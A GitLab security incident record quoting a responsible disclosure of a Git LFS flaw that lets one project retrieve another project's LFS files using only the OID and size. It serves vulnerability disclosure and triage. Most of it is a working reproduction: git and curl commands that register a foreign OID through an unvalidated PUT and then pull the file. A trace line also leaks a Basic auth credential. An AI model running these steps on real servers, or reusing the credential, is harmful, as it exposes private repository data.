Users can access the content of any LFS object when only OID and size are known
- Oncall service: Security Responder
- Assigned to: Jan Urbanc
- Date: 2018-11-27T09:01:09Z
- PagerDuty URL: https://gitlab.pagerduty.com/incidents/PI3GZRO
Possible vulnerability in git's LFS
This came in through email - https://gitlab.zendesk.com/agent/tickets/108969
From Maxim Ivanov (nakhodainfra@linklaters.com)
This is a responsible disclosure of a vulnerability in Git LFS handling. Verified using version 11.4.5. Please involve security team in triaging this report.
Summary
If project A has file X in it's repository as a Git LFS tracked file, then any other project can retrieve this file knowing only hash and a size. This is possible due to lack of validation of the object PUTed to .../repo.git/gitlab-lfs/objects/:oid/:size
Steps to reproduce
This demos shows a leak of a file from Project A to Project B. /etc/hosts
is used as a demo file, but obviously it can be anything
Prepare project A
$ git lfs install
...
$ cat > .gitattributes <<EOF
hosts filter=lfs diff=lfs merge=lfs -text
EOF
$ cp /etc/hosts hosts
$ git add hosts .gitattributes
$ git commit -m "Adding hosts file"
$ git push
Show Git LFS oid of the file tracked by Git LFS. This is all attacker needs to know to get access to the file:
$ git cat-file -p HEAD:hosts
version https://git-lfs.github.com/spec/v1
oid sha256:fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6
size 642
Project B
project B owner uses LFS OID and size only to recover full file from project A.
$ git lfs install
$ git lfs ls-files # shows that now LFS managed files are present yet
$ # create `hosts` file exactly in the format as git-lfs saves it in git tree, use `oid` and `size` of the file we want to peek at
$ cat >hosts <<"EOF"
version https://git-lfs.github.com/spec/v1
oid sha256:fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6
size 642
EOF
$ cat > .gitattributes <<EOF
hosts filter=lfs diff=lfs merge=lfs -text
EOF
$ # we need to get credentials for `PUT` command, so lets attempt to push and see them
$ GIT_TRACE=1 git push
11:22:03.332699 trace git-lfs: HTTP: {"objects":[{"oid":"fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6","size":642,"actions":{"upload":{"href":"https://gitlab.ci.i.nakhoda.ai/apps/sandbox.git/gitlab-lfs/objects/fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6/642","header":{"Authorization":"Basic bWl2YW5vdjo0V0NtRFF6d3ZNc20zZW1pQmlxYnlYYkRFWXZMOEhEeHhBcTlfeW5GUTZMdVFBODdwUQ==","Content-Type":"application/octet-stream"}}}}]}
11:22:03.332899 trace git-lfs: tq: starting transfer adapter "basic"
...
$ # if we do `git lfs pull` here, then we'll get an error , because `oid` we try to peek at is not yet associated with the project, lets correct it
$ # following PUT adds `oid` of the file we want (originally stored in Project A) to the project B , so that `oid` becomes "known" to it. We use temporary credentials (XXXXXX) from previous unsuccessful git push
$ curl -v -H "Authorization: Basic XXXXX" -XPUT https://gitlab.ci.i.nakhoda.ai/apps/sandbox.git/gitlab-lfs/objects/fe1d005ee417209f609a52bfd4c5746f6ae490914acdab25c2652622531f6eb6/642 --data-binary @- </dev/null
$ # now git lfs pull pulls the file from Git LFS
$ git lfs pull
$ cat hosts # show content of the file "stolen" from project A:
#
# hosts This file describes a number of hostname-to-address
# mappings for the TCP/IP subsystem. It is mostly
# used at boot time, when no name servers are running.
# On small systems, this file can be used instead of a
# "named" name server.
# Syntax:
#
# IP-Address Full-Qualified-Hostname Short-Hostname
#
127.0.0.1 localhost
# special IPv6 addresses
::1 localhost ipv6-localhost ipv6-loopback
fe00::0 ipv6-localnet
ff00::0 ipv6-mcastprefix
ff02::1 ipv6-allnodes
ff02::2 ipv6-allrouters
ff02::3 ipv6-allhosts